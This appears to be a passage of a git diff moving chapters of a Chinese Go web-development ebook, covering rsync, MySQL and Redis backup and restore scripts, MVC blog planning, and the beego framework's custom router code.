3. --password-file 客户端中/etc/rsyncd.secrets设置的密码要和服务端的 /etc/rsyncd.secrets 中的密码一样这样cron运行的时候就不需要密码了
4. 这条命令中的"用户名"为服务端的 /etc/rsyncd.secrets中的用户名
5. 这条命令中的 192.168.0.100 为服务端的IP地址
6. ::www注意是2个 : 号www为服务端的配置文件 /etc/rsyncd.conf 中的[www],意思是根据服务端上的/etc/rsyncd.conf来同步其中的[www]段内容,一个 : 号的时候,用于不根据配置文件,直接同步指定目录。
为了让同步实时性可以设置crontab保持rsync每分钟同步当然用户也可以根据文件的重要程度设置不同的同步频率。
## MySQL备份
应用数据库目前还是MySQL为主流目前MySQL的备份有两种方式热备份和冷备份热备份目前主要是采用master/slave方式master/slave方式的同步目前主要用于数据库读写分离也可以用于热备份数据关于如何配置这方面的资料大家可以找到很多。冷备份的话就是数据有一定的延迟但是可以保证该时间段之前的数据完整例如有些时候可能我们的误操作引起了数据的丢失那么master/slave模式是无法找回丢失数据的但是通过冷备份可以部分恢复数据。
冷备份一般使用shell脚本来实现定时备份数据库然后通过上面介绍rsync同步非本地机房的一台服务器。
下面这个是定时备份mysql的备份脚本我们使用了mysqldump程序这个命令可以把数据库导出到一个文件中。
#!/bin/bash
# 以下配置信息请自己修改
mysql_user="USER" #MySQL备份用户
mysql_password="PASSWORD" #MySQL备份用户的密码
mysql_host="localhost"
mysql_port="3306"
mysql_charset="utf8" #MySQL编码
backup_db_arr=("db1" "db2") #要备份的数据库名称,多个用空格分开隔开 如("db1" "db2" "db3")
backup_location=/var/www/mysql #备份数据存放位置,末尾请不要带"/",此项可以保持默认,程序会自动创建文件夹
expire_backup_delete="ON" #是否开启过期备份删除 ON为开启 OFF为关闭
expire_days=3 #过期时间天数 默认为三天此项只有在expire_backup_delete开启时有效
# 本行开始以下不需要修改
backup_time=`date +%Y%m%d%H%M` #定义备份详细时间
backup_Ymd=`date +%Y-%m-%d` #定义备份目录中的年月日时间
backup_3ago=`date -d '3 days ago' +%Y-%m-%d` #3天之前的日期
backup_dir=$backup_location/$backup_Ymd #备份文件夹全路径
welcome_msg="Welcome to use MySQL backup tools!" #欢迎语
# 判断MYSQL是否启动,mysql没有启动则备份退出
mysql_ps=`ps -ef |grep mysql |wc -l`
mysql_listen=`netstat -an |grep LISTEN |grep $mysql_port|wc -l`
if [ [$mysql_ps == 0] -o [$mysql_listen == 0] ]; then
echo "ERROR:MySQL is not running! backup stop!"
exit
else
echo $welcome_msg
fi
# 连接到mysql数据库无法连接则备份退出
mysql -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password <<end
use mysql;
select host,user from user where user='root' and host='localhost';
exit
end
flag=`echo $?`
if [ $flag != "0" ]; then
echo "ERROR:Can't connect mysql server! backup stop!"
exit
else
echo "MySQL connect ok! Please wait......"
# 判断有没有定义备份的数据库,如果定义则开始备份,否则退出备份
if [ "$backup_db_arr" != "" ];then
#dbnames=$(cut -d ',' -f1-5 $backup_database)
#echo "arr is (${backup_db_arr[@]})"
for dbname in ${backup_db_arr[@]}
do
echo "database $dbname backup start..."
`mkdir -p $backup_dir`
`mysqldump -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password $dbname --default-character-set=$mysql_charset | gzip > $backup_dir/$dbname-$backup_time.sql.gz`
flag=`echo $?`
if [ $flag == "0" ];then
echo "database $dbname success backup to $backup_dir/$dbname-$backup_time.sql.gz"
else
echo "database $dbname backup fail!"
fi
done
else
echo "ERROR:No database to backup! backup stop"
exit
fi
# 如果开启了删除过期备份,则进行删除操作
if [ "$expire_backup_delete" == "ON" -a "$backup_location" != "" ];then
#`find $backup_location/ -type d -o -type f -ctime +$expire_days -exec rm -rf {} \;`
`find $backup_location/ -type d -mtime +$expire_days | xargs rm -rf`
echo "Expired backup data delete complete!"
fi
echo "All database backup success! Thank you!"
exit
fi
修改shell脚本的属性
chmod 600 /root/mysql_backup.sh
chmod +x /root/mysql_backup.sh
设置好属性之后把命令加入crontab我们设置了每天00:00定时自动备份然后把备份的脚本目录/var/www/mysql设置为rsync同步目录。
00 00 * * * /root/mysql_backup.sh
## MySQL恢复
前面介绍MySQL备份分为热备份和冷备份热备份主要的目的是为了能够实时的恢复例如应用服务器出现了硬盘故障那么我们可以通过修改配置文件把数据库的读取和写入改成slave这样就可以尽量少时间的中断服务。
但是有时候我们需要通过冷备份的SQL来进行数据恢复既然有了数据库的备份就可以通过命令导入
mysql -u username -p databse < backup.sql
可以看到,导出和导入数据库数据都是相当简单,不过如果还需要管理权限,或者其他的一些字符集的设置的话,可能会稍微复杂一些,但是这些都是可以通过一些命令来完成的。
## redis备份
redis是目前我们使用最多的NoSQL它的备份也分为两种热备份和冷备份redis也支持master/slave模式所以我们的热备份可以通过这种方式实现相应的配置大家可以参考官方的文档配置相当的简单。我们这里介绍冷备份的方式redis其实会定时的把内存里面的缓存数据保存到数据库文件里面我们备份只要备份相应的文件就可以就是利用前面介绍的rsync备份到非本地机房就可以实现。
## redis恢复
redis的恢复分为热备份恢复和冷备份恢复热备份恢复的目的和方法同MySQL的恢复一样只要修改应用的相应的数据库连接即可。
但是有时候我们需要根据冷备份来恢复数据redis的冷备份恢复其实就是只要把保存的数据库文件copy到redis的工作目录然后启动redis就可以了redis在启动的时候会自动加载数据库文件到内存中启动的速度根据数据库的文件大小来决定。
## 小结
本小节介绍了我们的应用部分的备份和恢复即如何做好灾备包括文件的备份、数据库的备份。同时也介绍了使用rsync同步不同系统的文件MySQL数据库和redis数据库的备份和恢复希望通过本小节的介绍能够给作为开发的你对于线上产品的灾备方案提供一个参考方案。
## links
* [目录](<preface.md>)
* 上一章: [应用部署](<12.3.md>)
* 下一节: [小结](<12.5.md>)
# 12.4 备份和恢复
这小节我们要讨论应用程序管理的另一个方面:生产服务器上数据的备份和恢复。我们经常会遇到生产服务器的网络断了、硬盘坏了、操作系统崩溃、或者数据库不可用了等各种异常情况,所以维护人员需要对生产服务器上的应用和数据做好异地灾备,冷备热备的准备。在接下来的介绍中,讲解了如何备份应用、如何备份/恢复Mysql数据库和redis数据库。
## 应用备份
在大多数集群环境下Web应用程序基本不需要备份因为这个其实就是一个代码副本我们在本地开发环境中或者版本控制系统中已经保持这些代码。但是很多时候一些开发的站点需要用户来上传文件那么我们需要对这些用户上传的文件进行备份。目前其实有一种合适的做法就是把和网站相关的需要存储的文件存储到云储存这样即使系统崩溃只要我们的文件还在云存储上至少数据不会丢失。
如果我们没有采用云储存的情况下如何做到网站的备份呢这里我们介绍一个文件同步工具rsyncrsync能够实现网站的备份不同系统的文件的同步如果是windows的话需要windows版本cwrsync。
### rsync安装
rysnc的官方网站http://rsync.samba.org/ 可以从上面获取最新版本的源码。当然因为rsync是一款非常有用的软件所以很多Linux的发行版本都将它收录在内了。
软件包安装
# sudo apt-get install rsync 注在debian、ubuntu 等在线安装方法;
# yum install rsync 注Fedora、Redhat、CentOS 等在线安装方法;
# rpm -ivh rsync 注Fedora、Redhat、CentOS 等rpm包安装方法
其它Linux发行版请用相应的软件包管理方法来安装。源码包安装
tar xvf rsync-xxx.tar.gz
cd rsync-xxx
./configure --prefix=/usr ;make ;make install 注在用源码包编译安装之前您得安装gcc等编译工具才行
### rsync配置
rsync主要有以下三个配置文件rsyncd.conf(主配置文件)、rsyncd.secrets(密码文件)、rsyncd.motd(rysnc服务器信息)。
关于这几个文件的配置大家可以参考官方网站或者其他介绍rsync的网站下面介绍服务器端和客户端如何开启
- 服务端开启:
#/usr/bin/rsync --daemon --config=/etc/rsyncd/rsyncd.conf
--daemon参数方式是让rsync以服务器模式运行。把rsync加入开机启动
echo 'rsync --daemon' >> /etc/rc.d/rc.local
设置rsync密码
echo '你的用户名:你的密码' > /etc/rsyncd.secrets
chmod 600 /etc/rsyncd.secrets
- 客户端同步:
客户端可以通过如下命令同步服务器上的文件:
rsync -avzP --delete --password-file=rsyncd.secrets 用户名@192.168.145.5::www /var/rsync/backup
这条命令,简要的说明一下几个要点:
1. -avzP是啥读者可以使用--help查看
2. --delete 是为了比如A上删除了一个文件同步的时候B会自动删除相对应的文件
3. --password-file 客户端中/etc/rsyncd.secrets设置的密码要和服务端的 /etc/rsyncd.secrets 中的密码一样这样cron运行的时候就不需要密码了
4. 这条命令中的"用户名"为服务端的 /etc/rsyncd.secrets中的用户名
5. 这条命令中的 192.168.0.100 为服务端的IP地址
6. ::www注意是2个 : 号www为服务端的配置文件 /etc/rsyncd.conf 中的[www],意思是根据服务端上的/etc/rsyncd.conf来同步其中的[www]段内容,一个 : 号的时候,用于不根据配置文件,直接同步指定目录。
为了让同步实时性可以设置crontab保持rsync每分钟同步当然用户也可以根据文件的重要程度设置不同的同步频率。
## MySQL备份
应用数据库目前还是MySQL为主流目前MySQL的备份有两种方式热备份和冷备份热备份目前主要是采用master/slave方式master/slave方式的同步目前主要用于数据库读写分离也可以用于热备份数据关于如何配置这方面的资料大家可以找到很多。冷备份的话就是数据有一定的延迟但是可以保证该时间段之前的数据完整例如有些时候可能我们的误操作引起了数据的丢失那么master/slave模式是无法找回丢失数据的但是通过冷备份可以部分恢复数据。
冷备份一般使用shell脚本来实现定时备份数据库然后通过上面介绍rsync同步非本地机房的一台服务器。
下面这个是定时备份mysql的备份脚本我们使用了mysqldump程序这个命令可以把数据库导出到一个文件中。
#!/bin/bash
# 以下配置信息请自己修改
mysql_user="USER" #MySQL备份用户
mysql_password="PASSWORD" #MySQL备份用户的密码
mysql_host="localhost"
mysql_port="3306"
mysql_charset="utf8" #MySQL编码
backup_db_arr=("db1" "db2") #要备份的数据库名称,多个用空格分开隔开 如("db1" "db2" "db3")
backup_location=/var/www/mysql #备份数据存放位置,末尾请不要带"/",此项可以保持默认,程序会自动创建文件夹
expire_backup_delete="ON" #是否开启过期备份删除 ON为开启 OFF为关闭
expire_days=3 #过期时间天数 默认为三天此项只有在expire_backup_delete开启时有效
# 本行开始以下不需要修改
backup_time=`date +%Y%m%d%H%M` #定义备份详细时间
backup_Ymd=`date +%Y-%m-%d` #定义备份目录中的年月日时间
backup_3ago=`date -d '3 days ago' +%Y-%m-%d` #3天之前的日期
backup_dir=$backup_location/$backup_Ymd #备份文件夹全路径
welcome_msg="Welcome to use MySQL backup tools!" #欢迎语
# 判断MYSQL是否启动,mysql没有启动则备份退出
mysql_ps=`ps -ef |grep mysql |wc -l`
mysql_listen=`netstat -an |grep LISTEN |grep $mysql_port|wc -l`
if [ [$mysql_ps == 0] -o [$mysql_listen == 0] ]; then
echo "ERROR:MySQL is not running! backup stop!"
exit
else
echo $welcome_msg
fi
# 连接到mysql数据库无法连接则备份退出
mysql -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password <<end
use mysql;
select host,user from user where user='root' and host='localhost';
exit
end
flag=`echo $?`
if [ $flag != "0" ]; then
echo "ERROR:Can't connect mysql server! backup stop!"
exit
else
echo "MySQL connect ok! Please wait......"
# 判断有没有定义备份的数据库,如果定义则开始备份,否则退出备份
if [ "$backup_db_arr" != "" ];then
#dbnames=$(cut -d ',' -f1-5 $backup_database)
#echo "arr is (${backup_db_arr[@]})"
for dbname in ${backup_db_arr[@]}
do
echo "database $dbname backup start..."
`mkdir -p $backup_dir`
`mysqldump -h$mysql_host -P$mysql_port -u$mysql_user -p$mysql_password $dbname --default-character-set=$mysql_charset | gzip > $backup_dir/$dbname-$backup_time.sql.gz`
flag=`echo $?`
if [ $flag == "0" ];then
echo "database $dbname success backup to $backup_dir/$dbname-$backup_time.sql.gz"
else
echo "database $dbname backup fail!"
fi
done
else
echo "ERROR:No database to backup! backup stop"
exit
fi
# 如果开启了删除过期备份,则进行删除操作
if [ "$expire_backup_delete" == "ON" -a "$backup_location" != "" ];then
#`find $backup_location/ -type d -o -type f -ctime +$expire_days -exec rm -rf {} \;`
`find $backup_location/ -type d -mtime +$expire_days | xargs rm -rf`
echo "Expired backup data delete complete!"
fi
echo "All database backup success! Thank you!"
exit
fi
修改shell脚本的属性
chmod 600 /root/mysql_backup.sh
chmod +x /root/mysql_backup.sh
设置好属性之后把命令加入crontab我们设置了每天00:00定时自动备份然后把备份的脚本目录/var/www/mysql设置为rsync同步目录。
00 00 * * * /root/mysql_backup.sh
## MySQL恢复
前面介绍MySQL备份分为热备份和冷备份热备份主要的目的是为了能够实时的恢复例如应用服务器出现了硬盘故障那么我们可以通过修改配置文件把数据库的读取和写入改成slave这样就可以尽量少时间的中断服务。
但是有时候我们需要通过冷备份的SQL来进行数据恢复既然有了数据库的备份就可以通过命令导入
mysql -u username -p databse < backup.sql
可以看到,导出和导入数据库数据都是相当简单,不过如果还需要管理权限,或者其他的一些字符集的设置的话,可能会稍微复杂一些,但是这些都是可以通过一些命令来完成的。
## redis备份
redis是目前我们使用最多的NoSQL它的备份也分为两种热备份和冷备份redis也支持master/slave模式所以我们的热备份可以通过这种方式实现相应的配置大家可以参考官方的文档配置相当的简单。我们这里介绍冷备份的方式redis其实会定时的把内存里面的缓存数据保存到数据库文件里面我们备份只要备份相应的文件就可以就是利用前面介绍的rsync备份到非本地机房就可以实现。
## redis恢复
redis的恢复分为热备份恢复和冷备份恢复热备份恢复的目的和方法同MySQL的恢复一样只要修改应用的相应的数据库连接即可。
但是有时候我们需要根据冷备份来恢复数据redis的冷备份恢复其实就是只要把保存的数据库文件copy到redis的工作目录然后启动redis就可以了redis在启动的时候会自动加载数据库文件到内存中启动的速度根据数据库的文件大小来决定。
## 小结
本小节介绍了我们的应用部分的备份和恢复即如何做好灾备包括文件的备份、数据库的备份。同时也介绍了使用rsync同步不同系统的文件MySQL数据库和redis数据库的备份和恢复希望通过本小节的介绍能够给作为开发的你对于线上产品的灾备方案提供一个参考方案。
## links
* [目录](<preface.md>)
* 上一章: [应用部署](<12.3.md>)
* 下一节: [小结](<12.5.md>)

34
12.5.md → ebook/12.5.md Executable file → Normal file
View File

@@ -1,18 +1,18 @@
# 12.5 小结
本章讨论了如何部署和维护我们开发的Web应用相关的一些话题。这些内容非常重要要创建一个能够基于最小维护平滑运行的应用必须考虑这些问题。
具体而言,本章讨论的内容包括:
- 创建一个强健的日志系统,可以在出现问题时记录错误并且通知系统管理员
- 处理运行时可能出现的错误,包括记录日志,并如何友好的显示给用户系统出现了问题
- 处理404错误告诉用户请求的页面找不到
- 将应用部署到一个生产环境中(包括如何部署更新)
- 如何让部署的应用程序具有高可用
- 备份和恢复文件以及数据库
读完本章内容后对于从头开始开发一个Web应用需要考虑那些问题你应该已经有了全面的了解。本章内容将有助于你在实际环境中管理前面各章介绍开发的代码。
## links
* [目录](<preface.md>)
* 上一章: [备份和恢复](<12.4.md>)
# 12.5 小结
本章讨论了如何部署和维护我们开发的Web应用相关的一些话题。这些内容非常重要要创建一个能够基于最小维护平滑运行的应用必须考虑这些问题。
具体而言,本章讨论的内容包括:
- 创建一个强健的日志系统,可以在出现问题时记录错误并且通知系统管理员
- 处理运行时可能出现的错误,包括记录日志,并如何友好的显示给用户系统出现了问题
- 处理404错误告诉用户请求的页面找不到
- 将应用部署到一个生产环境中(包括如何部署更新)
- 如何让部署的应用程序具有高可用
- 备份和恢复文件以及数据库
读完本章内容后对于从头开始开发一个Web应用需要考虑那些问题你应该已经有了全面的了解。本章内容将有助于你在实际环境中管理前面各章介绍开发的代码。
## links
* [目录](<preface.md>)
* 上一章: [备份和恢复](<12.4.md>)
* 下一节: [如何设计一个Web框架](<13.0.md>)

0
13.0.md → ebook/13.0.md Executable file → Normal file
View File

106
13.1.md → ebook/13.1.md Executable file → Normal file
View File

@@ -1,53 +1,53 @@
# 13.1 项目规划
做任何事情都需要做好规划,那么我们在开发博客系统之前,同样需要做好项目的规划,如何设置目录结构,如何理解整个项目的流程图,当我们理解了应用的执行过程,那么接下来的设计编码就会变得相对容易了
## gopath以及项目设置
假设指定gopath是文件系统的普通目录名当然我们可以随便设置一个目录名然后将其路径存入GOPATH。前面介绍过GOPATH可以是多个目录在window系统设置环境变量在linux/MacOS系统只要输入终端命令`export gopath=/home/astaxie/gopath`但是必须保证gopath这个代码目录下面有三个目录pkg、bin、src。新建项目的源码放在src目录下面现在暂定我们的博客目录叫做beeblog下面是在window下的环境变量和目录结构的截图
![](images/13.1.gopath.png?raw=true)
图13.1 环境变量GOPATH设置
![](images/13.1.gopath2.png?raw=true)
图13.2 工作目录在$gopath/src下
## 应用程序流程图
博客系统是基于模型-视图-控制器这一设计模式的。MVC是一种将应用程序的逻辑层和表现层进行分离的结构方式。在实践中由于表现层从Go中分离了出来所以它允许你的网页中只包含很少的脚本。
- 模型 (Model) 代表数据结构。通常来说,模型类将包含取出、插入、更新数据库资料等这些功能。
- 视图 (View) 是展示给用户的信息的结构及样式。一个视图通常是一个网页但是在Go中一个视图也可以是一个页面片段如页头、页尾。它还可以是一个 RSS 页面或其它类型的“页面”Go实现的template包已经很好的实现了View层中的部分功能。
- 控制器 (Controller) 是模型、视图以及其他任何处理HTTP请求所必须的资源之间的中介并生成网页。
下图显示了项目设计中框架的数据流是如何贯穿整个系统:
![](images/13.1.flow.png?raw=true)
图13.3 框架的数据流
1. main.go作为应用入口初始化一些运行博客所需要的基本资源配置信息监听端口。
2. 路由功能检查HTTP请求根据URL以及method来确定谁(控制层)来处理请求的转发资源。
3. 如果缓存文件存在,它将绕过通常的流程执行,被直接发送给浏览器。
4. 安全检测应用程序控制器调用之前HTTP请求和任一用户提交的数据将被过滤。
5. 控制器装载模型、核心库、辅助函数,以及任何处理特定请求所需的其它资源,控制器主要负责处理业务逻辑。
6. 输出视图层中渲染好的即将发送到Web浏览器中的内容。如果开启缓存视图首先被缓存将用于以后的常规请求。
## 目录结构
根据上面的应用程序流程设计,博客的目录结构设计如下:
|——main.go 入口文件
|——conf 配置文件和处理模块
|——controllers 控制器入口
|——models 数据库处理模块
|——utils 辅助函数库
|——static 静态文件目录
|——views 视图库
## 框架设计
为了实现博客的快速搭建打算基于上面的流程设计开发一个最小化的框架框架包括路由功能、支持REST的控制器、自动化的模板渲染日志系统、配置管理等。
## 总结
本小节介绍了博客系统从设置GOPATH到目录建立这样的基础信息也简单介绍了框架结构采用的MVC模式博客系统中数据流的执行流程最后通过这些流程设计了博客系统的目录结构至此我们基本完成一个框架的搭建接下来的几个小节我们将会逐个实现。
## links
* [目录](<preface.md>)
* 上一章: [构建博客系统](<13.0.md>)
* 下一节: [自定义路由器设计](<13.2.md>)
# 13.1 项目规划
做任何事情都需要做好规划,那么我们在开发博客系统之前,同样需要做好项目的规划,如何设置目录结构,如何理解整个项目的流程图,当我们理解了应用的执行过程,那么接下来的设计编码就会变得相对容易了
## gopath以及项目设置
假设指定gopath是文件系统的普通目录名当然我们可以随便设置一个目录名然后将其路径存入GOPATH。前面介绍过GOPATH可以是多个目录在window系统设置环境变量在linux/MacOS系统只要输入终端命令`export gopath=/home/astaxie/gopath`但是必须保证gopath这个代码目录下面有三个目录pkg、bin、src。新建项目的源码放在src目录下面现在暂定我们的博客目录叫做beeblog下面是在window下的环境变量和目录结构的截图
![](images/13.1.gopath.png?raw=true)
图13.1 环境变量GOPATH设置
![](images/13.1.gopath2.png?raw=true)
图13.2 工作目录在$gopath/src下
## 应用程序流程图
博客系统是基于模型-视图-控制器这一设计模式的。MVC是一种将应用程序的逻辑层和表现层进行分离的结构方式。在实践中由于表现层从Go中分离了出来所以它允许你的网页中只包含很少的脚本。
- 模型 (Model) 代表数据结构。通常来说,模型类将包含取出、插入、更新数据库资料等这些功能。
- 视图 (View) 是展示给用户的信息的结构及样式。一个视图通常是一个网页但是在Go中一个视图也可以是一个页面片段如页头、页尾。它还可以是一个 RSS 页面或其它类型的“页面”Go实现的template包已经很好的实现了View层中的部分功能。
- 控制器 (Controller) 是模型、视图以及其他任何处理HTTP请求所必须的资源之间的中介并生成网页。
下图显示了项目设计中框架的数据流是如何贯穿整个系统:
![](images/13.1.flow.png?raw=true)
图13.3 框架的数据流
1. main.go作为应用入口初始化一些运行博客所需要的基本资源配置信息监听端口。
2. 路由功能检查HTTP请求根据URL以及method来确定谁(控制层)来处理请求的转发资源。
3. 如果缓存文件存在,它将绕过通常的流程执行,被直接发送给浏览器。
4. 安全检测应用程序控制器调用之前HTTP请求和任一用户提交的数据将被过滤。
5. 控制器装载模型、核心库、辅助函数,以及任何处理特定请求所需的其它资源,控制器主要负责处理业务逻辑。
6. 输出视图层中渲染好的即将发送到Web浏览器中的内容。如果开启缓存视图首先被缓存将用于以后的常规请求。
## 目录结构
根据上面的应用程序流程设计,博客的目录结构设计如下:
|——main.go 入口文件
|——conf 配置文件和处理模块
|——controllers 控制器入口
|——models 数据库处理模块
|——utils 辅助函数库
|——static 静态文件目录
|——views 视图库
## 框架设计
为了实现博客的快速搭建打算基于上面的流程设计开发一个最小化的框架框架包括路由功能、支持REST的控制器、自动化的模板渲染日志系统、配置管理等。
## 总结
本小节介绍了博客系统从设置GOPATH到目录建立这样的基础信息也简单介绍了框架结构采用的MVC模式博客系统中数据流的执行流程最后通过这些流程设计了博客系统的目录结构至此我们基本完成一个框架的搭建接下来的几个小节我们将会逐个实现。
## links
* [目录](<preface.md>)
* 上一章: [构建博客系统](<13.0.md>)
* 下一节: [自定义路由器设计](<13.2.md>)

528
13.2.md → ebook/13.2.md Executable file → Normal file
View File

@@ -1,264 +1,264 @@
# 13.2 自定义路由器设计
## HTTP路由
HTTP路由组件负责将HTTP请求交到对应的函数处理(或者是一个struct的方法),如前面小节所描述的结构图,路由在框架中相当于一个事件处理器,而这个事件包括:
- 用户请求的路径(path)(例如:/user/123,/article/123),当然还有查询串信息(例如?id=11)
- HTTP的请求方法(method)(GET、POST、PUT、DELETE、PATCH等)
路由器就是根据用户请求的事件信息转发到相应的处理函数(控制层)。
## 默认的路由实现
在3.4小节有过介绍Go的http包的详解里面介绍了Go的http包如何设计和实现路由这里继续以一个例子来说明
func fooHandler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
}
http.Handle("/foo", fooHandler)
http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
})
log.Fatal(http.ListenAndServe(":8080", nil))
上面的例子调用了http默认的DefaultServeMux来添加路由需要提供两个参数第一个参数是希望用户访问此资源的URL路径(保存在r.URL.Path),第二参数是即将要执行的函数,以提供用户访问的资源。路由的思路主要集中在两点:
- 添加路由信息
- 根据用户请求转发到要执行的函数
Go默认的路由添加是通过函数`http.Handle``http.HandleFunc`等来添加,底层都是调用了`DefaultServeMux.Handle(pattern string, handler Handler)`,这个函数会把路由信息存储在一个map信息中`map[string]muxEntry`,这就解决了上面说的第一点。
Go监听端口然后接收到tcp连接会扔给Handler来处理上面的例子默认nil即为`http.DefaultServeMux`,通过`DefaultServeMux.ServeHTTP`函数来进行调度遍历之前存储的map路由信息和用户访问的URL进行匹配以查询对应注册的处理函数这样就实现了上面所说的第二点。
for k, v := range mux.m {
if !pathMatch(k, path) {
continue
}
if h == nil || len(k) > n {
n = len(k)
h = v.h
}
}
## beego框架路由实现
目前几乎所有的Web应用路由实现都是基于http默认的路由器但是Go自带的路由器有几个限制
- 不支持参数设定,例如/user/:uid 这种泛类型匹配
- 无法很好的支持REST模式无法限制访问的方法例如上面的例子中用户访问/foo可以用GET、POST、DELETE、HEAD等方式访问
- 一般网站的路由规则太多了编写繁琐。我前面自己开发了一个API应用路由规则有三十几条这种路由多了之后其实可以进一步简化通过struct的方法进行一种简化
beego框架的路由器基于上面的几点限制考虑设计了一种REST方式的路由实现路由设计也是基于上面Go默认设计的两点来考虑存储路由和转发路由
### 存储路由
针对前面所说的限制点我们首先要解决参数支持就需要用到正则第二和第三点我们通过一种变通的方法来解决REST的方法对应到struct的方法中去然后路由到struct而不是函数这样在转发路由的时候就可以根据method来执行不同的方法。
根据上面的思路我们设计了两个数据类型controllerInfo(保存路径和对应的struct这里是一个reflect.Type类型)和ControllerRegistor(routers是一个slice用来保存用户添加的路由信息以及beego框架的应用信息)
type controllerInfo struct {
regex *regexp.Regexp
params map[int]string
controllerType reflect.Type
}
type ControllerRegistor struct {
routers []*controllerInfo
Application *App
}
ControllerRegistor对外的接口函数有
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface)
详细的实现如下所示:
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) {
parts := strings.Split(pattern, "/")
j := 0
params := make(map[int]string)
for i, part := range parts {
if strings.HasPrefix(part, ":") {
expr := "([^/]+)"
//a user may choose to override the defult expression
// similar to expressjs: /user/:id([0-9]+)
if index := strings.Index(part, "("); index != -1 {
expr = part[index:]
part = part[:index]
}
params[j] = part
parts[i] = expr
j++
}
}
//recreate the url pattern, with parameters replaced
//by regular expressions. then compile the regex
pattern = strings.Join(parts, "/")
regex, regexErr := regexp.Compile(pattern)
if regexErr != nil {
//TODO add error handling here to avoid panic
panic(regexErr)
return
}
//now create the Route
t := reflect.Indirect(reflect.ValueOf(c)).Type()
route := &controllerInfo{}
route.regex = regex
route.params = params
route.controllerType = t
p.routers = append(p.routers, route)
}
### 静态路由实现
上面我们实现的动态路由的实现Go的http包默认支持静态文件处理FileServer由于我们实现了自定义的路由器那么静态文件也需要自己设定beego的静态文件夹路径保存在全局变量StaticDir中StaticDir是一个map类型实现如下
func (app *App) SetStaticPath(url string, path string) *App {
StaticDir[url] = path
return app
}
应用中设置静态路径可以使用如下方式实现:
beego.SetStaticPath("/img","/static/img")
### 转发路由
转发路由是基于ControllerRegistor里的路由信息来进行转发的详细的实现如下代码所示
// AutoRoute
func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) {
defer func() {
if err := recover(); err != nil {
if !RecoverPanic {
// go back to panic
panic(err)
} else {
Critical("Handler crashed with error", err)
for i := 1; ; i += 1 {
_, file, line, ok := runtime.Caller(i)
if !ok {
break
}
Critical(file, line)
}
}
}
}()
var started bool
for prefix, staticDir := range StaticDir {
if strings.HasPrefix(r.URL.Path, prefix) {
file := staticDir + r.URL.Path[len(prefix):]
http.ServeFile(w, r, file)
started = true
return
}
}
requestPath := r.URL.Path
//find a matching Route
for _, route := range p.routers {
//check if Route pattern matches url
if !route.regex.MatchString(requestPath) {
continue
}
//get submatches (params)
matches := route.regex.FindStringSubmatch(requestPath)
//double check that the Route matches the URL pattern.
if len(matches[0]) != len(requestPath) {
continue
}
params := make(map[string]string)
if len(route.params) > 0 {
//add url parameters to the query param map
values := r.URL.Query()
for i, match := range matches[1:] {
values.Add(route.params[i], match)
params[route.params[i]] = match
}
//reassemble query params and add to RawQuery
r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery
//r.URL.RawQuery = url.Values(values).Encode()
}
//Invoke the request handler
vc := reflect.New(route.controllerType)
init := vc.MethodByName("Init")
in := make([]reflect.Value, 2)
ct := &Context{ResponseWriter: w, Request: r, Params: params}
in[0] = reflect.ValueOf(ct)
in[1] = reflect.ValueOf(route.controllerType.Name())
init.Call(in)
in = make([]reflect.Value, 0)
method := vc.MethodByName("Prepare")
method.Call(in)
if r.Method == "GET" {
method = vc.MethodByName("Get")
method.Call(in)
} else if r.Method == "POST" {
method = vc.MethodByName("Post")
method.Call(in)
} else if r.Method == "HEAD" {
method = vc.MethodByName("Head")
method.Call(in)
} else if r.Method == "DELETE" {
method = vc.MethodByName("Delete")
method.Call(in)
} else if r.Method == "PUT" {
method = vc.MethodByName("Put")
method.Call(in)
} else if r.Method == "PATCH" {
method = vc.MethodByName("Patch")
method.Call(in)
} else if r.Method == "OPTIONS" {
method = vc.MethodByName("Options")
method.Call(in)
}
if AutoRender {
method = vc.MethodByName("Render")
method.Call(in)
}
method = vc.MethodByName("Finish")
method.Call(in)
started = true
break
}
//if no matches to url, throw a not found exception
if started == false {
http.NotFound(w, r)
}
}
### 使用入门
基于这样的路由设计之后就可以解决前面所说的三个限制点,使用的方式如下所示:
基本的使用注册路由:
beego.BeeApp.RegisterController("/", &controllers.MainController{})
参数注册:
beego.BeeApp.RegisterController("/:param", &controllers.UserController{})
正则匹配:
beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{})
## links
* [目录](<preface.md>)
* 上一章: [项目规划](<13.1.md>)
* 下一节: [controller设计](<13.3.md>)
# 13.2 自定义路由器设计
## HTTP路由
HTTP路由组件负责将HTTP请求交到对应的函数处理(或者是一个struct的方法),如前面小节所描述的结构图,路由在框架中相当于一个事件处理器,而这个事件包括:
- 用户请求的路径(path)(例如:/user/123,/article/123),当然还有查询串信息(例如?id=11)
- HTTP的请求方法(method)(GET、POST、PUT、DELETE、PATCH等)
路由器就是根据用户请求的事件信息转发到相应的处理函数(控制层)。
## 默认的路由实现
在3.4小节有过介绍Go的http包的详解里面介绍了Go的http包如何设计和实现路由这里继续以一个例子来说明
func fooHandler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
}
http.Handle("/foo", fooHandler)
http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
})
log.Fatal(http.ListenAndServe(":8080", nil))
上面的例子调用了http默认的DefaultServeMux来添加路由需要提供两个参数第一个参数是希望用户访问此资源的URL路径(保存在r.URL.Path),第二参数是即将要执行的函数,以提供用户访问的资源。路由的思路主要集中在两点:
- 添加路由信息
- 根据用户请求转发到要执行的函数
Go默认的路由添加是通过函数`http.Handle``http.HandleFunc`等来添加,底层都是调用了`DefaultServeMux.Handle(pattern string, handler Handler)`,这个函数会把路由信息存储在一个map信息中`map[string]muxEntry`,这就解决了上面说的第一点。
